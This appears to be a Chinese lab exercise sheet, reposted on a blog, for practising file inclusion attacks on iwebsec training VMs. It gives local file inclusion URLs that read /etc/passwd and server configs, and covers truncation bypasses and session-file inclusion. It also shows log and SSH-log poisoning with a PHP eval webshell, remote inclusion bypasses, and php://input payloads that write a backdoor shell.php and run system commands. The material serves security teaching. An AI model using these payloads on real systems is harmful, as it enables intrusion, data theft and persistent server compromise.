首页 > 其他分享 >小白iwebsec

小白iwebsec

时间:2023-05-24 22:36:09浏览次数:28  
标签:php http 99.101 192.168 filename 小白 fi iwebsec

文件包含漏洞

上机练习

一、实训目的

掌握本地文件包含漏洞、本地文件包含绕过、Session文件包含、日志文件包含


二、实验环境

运行vmware workstation10以上,安装kali和Linux的操作系统。

三、实验要求

在虚拟机下完成以下操作,并写出实验步骤。

四、实验内容

将耙机IP设置为:192.168.x.100和192.168.x.101,gj机ip设置为:192.168.x.99,将x改为学号后两位,将结果截图保存在下面每一小题中。

1、 本地文件包含漏洞

(1) 访问 http://192.168.99.101/fi/01.php?filename=test.txt


(2) 访问 http://192.168.99.101/fi/01.php?filename=/etc/passwd


(3) 访问 http://192.168.99.101/fi/01.php?filename=/etc/httpd/conf/httpd.cnf


(4) 访问 http://192.168.99.101/fi/01.php?filename=/etc/my.cnf


(5) 访问 http://192.168.99.101 /fi/09.php?filename=file:///usr/etc/php.ini


2、 本地文件包含绕过

(1)%00(%00截断)文件包含漏洞

访问 http://192.168.99.101/fi/02.php?filename=/etc/passwd%00


(2)路径长度截断文件包含

windows下目录最大长度为256字节,超出的部分会被丢弃。

linux下目录最大长度为4096字节,超出的部分会被丢弃。


(3)点号截断文件包含


3、Session文件包含

(1)访问 http://192.168.99.101/fi/03.php?iwebsec=iwebsec


(2)访问 http://192.168.99.101/fi/03.php?iwebsec=<?php phpinfo();?>


(3)访问:http://192.168.99.101/fi/01.php?filename=/var/lib/php/session/sess_o37uuis03k9dtnd5ea8dvu1rk5



4、日志文件包含

(1)在清除靶机访问日志

echo “” >/var/log/httpd/access_log

靶机中查看访问日志:

cat /var/log/httpd/access_log


(2)使用浏览器和Burpsuit 提交,并对比:

http://192.168.99.101/fi/<?php @eval($_POST[123]);?>

在靶机中查看访问日志:


cat /var/log/httpd/access_log


(3)访问:http://192.168.99.101/fi/01.php?filename=/var/log/httpd/access_log


5、SSH是志文件包含

(1)将恶意代码写入日志文件

ssh “<?php @eval(\$_POST[123]);?>”@172.17.0.2


查看登录日志文件

less /var/log/auth.log


(2)使用POST提交 123=phpinfo();

http://192.168.99.101/fi/01.php?filename=/var/log/auth.log


6、无限制远程文件包含

(1)新建目录及文件

mkdir vuln

vim test.txt      

内容:<?php @eval($_POST[123]);?>


访问:http://192.168.99.101/fi//04.php?filename=http:// 192.168.99.101/vuln/test.txt




7、有限制远程文件包含

(1) 问号绕过

1.1.1.4/fi//05.php?filename=http:// 1.1.1.4/vuln/test.txt


(2) 井号绕过

http://192.168.99.101/fi//05.php?filename=http:// 192.168.99.101/vuln/test.txt%23



8、PHP为协议


(1)php://filter(本地磁盘文件进行读取)

http://192.168.99.101/fi/06.php?filename=php://filter/convert.base64-encode/resource=xxx.php


(2)php://input(读取POST数据)

http://192.168.99.101/fi/07.php

test post


(3)php://input(写入mm)

1.1.1.4/fi/08.php?filename=php://input

<?PHP fputs(fopen(‘shell.php’,’w’),’<?php @eval($_POST[cmd]);?>’);?>



(4)php://input(命令执行)

<?php system(‘whoami’);?>

<?php system(‘ifconfig’);?>

<?php system(‘ls>aa.txt‘);?>

<?php system(‘rm aa.txt’);?>



(5)data://伪协议


标签:php,http,99.101,192.168,filename,小白,fi,iwebsec
From: https://blog.51cto.com/u_15405385/6342994

相关文章

  • 小白局域网搭建
    1. 实训目的路由交换机组网技术课程是信息安全专业的必修课,其课程实训作为课程实践环节之一,是学习过程中必不可少的重要内容。本次实训,综合所学路由交换课程需要掌握的技能点和知识点,力求通过本次实训训练,使我们更好地理解并掌握网络路由交换相关技能。通过中型综合园区网络组网的......
  • 安装MySQLdb for centos 7--小白教程
    1.MySQLdb下载地址:https://pypi.python.org/pypi/MySQL-python/1.2.5 2.unzipMySQL-python-1.2.5; 3.cdMySQL-python-1.2.5; pythonsetup.pyinstall;此时报错:Traceback(mostrecentcalllast): File"setup.py",line17,in<module>   metadat......
  • 2023 从纯小白到视觉SLAM开发者 学习路线图
    【2023从纯小白到视觉SLAM开发者学习路线图】共包含5个部分:(1)初学(Beginner)(2)熟悉视觉SLAM(GetFamiliar)(3)单目视觉SLAM(Monocular)(4)RGBD-VSLAM(5)ApplyingDeepLearning前两部分,主要是基础知识点的梳理。论文集包含后三个部分中提到的各个主要论文,其中大部分论文均提供了代码或者项目地......
  • 小白如何理解软件自动化接口测试
    随着软件开发行业的不断发展,软件测试接口自动化已经成为了一种趋势。接口自动化可以提高软件测试的效率和准确性,减少人力成本和时间成本,帮助企业更好地实施软件测试接口自动化。1.选择合适的自动化测试工具在进行接口自动化测试之前,需要选择一款适合自己的自动化测试工具。市......
  • 2023新手小白注册谷歌Gmail账号此号码无法用于验证的解决方法,谷歌账号注册详细步骤!
    网友在注册谷歌账号时都会遇到提示”此号码无法用于进行验证“导致注册失败。具体原因是什么?又该如何进行注册?需要解决哪些问题?首先,必须要只知道的是网络很多网友传言中国手机无法申请注册谷歌Gmail邮箱,这完全是子虚乌有的事情。除了Googlevoice虚拟号码以外的任何手机号都能注册......
  • 小白对云计算行业的大概了解
    云计算是什么?云计算是技术,它可以让用户通过互联网就能使用到计算资源(CPU、内存、显卡、磁盘等)。云计算是概念,它让计算资源就像家用水电一样,用户不需要思考它是如何来的,用户只需在线申请并付款即可。云计算为什么能够存在?它提供了哪些价值?灵活、可伸缩:用户按需付费,可以根据使......
  • VMware16.0-16.1.2去虚拟化过SE检测教程小白专享
    这里是VM16.0-16.1.2的修改教程以下所需要的工具百度一下就可以了winhex硬件修改器bios修改器安装过程就不多做介绍吧,直接进入修改过程,还不会的小伙伴搜一下百度自行安装即可 安装好虚拟机后直接退出来,然后找到虚拟机安装目录,找到其中x64文件夹,然后复制其中名字为VMware-vm......
  • Visual Studio Code 小白使用介绍
    前言现在使用Vscode编码的人越来越多,凭借着免费,开源,轻量,跨平台的特点收货了一大批忠实粉丝最近因项目需要开始使用Vscode,但不知为何,感觉有点力不从心,不知道该怎么用首先想到去官网看看,然后放弃了(英语渣渣表示压力山大,其实正因为英语差,才更应该锻炼一下的,大家不要学我23333)最后自己......
  • 小白教你一步一步安装Scrapy(西瓜皮)(带图带资源)
    一、介绍西瓜皮Scrapy(西瓜皮)是一个为了爬取网站数据、提取结构性数据而编写的应用框架,可以应用在包括数据挖掘、信息处理或者存储历史数据等一系列的程序中。二、注意事项目前Scrapy不支持Python3,因此需要安装Python2.7来使用Scrapy,Python2.7和3是可以共存的。三、安装Python2.......
  • web3 产品介绍 etherscan 区块链浏览器 将抽象的数据和理论可视化,小白也能看懂区块链
    Etherscan是一个广泛使用的以太坊区块链浏览器和分析平台,它为用户提供了全面的区块链数据查询和交易分析功能。在本文中,我们将介绍Etherscan的主要特点和功能,以及如何使用它来浏览以太坊区块链。一、Etherscan的特点区块链浏览器:Etherscan提供了完整的以太坊区块链浏览器,用户......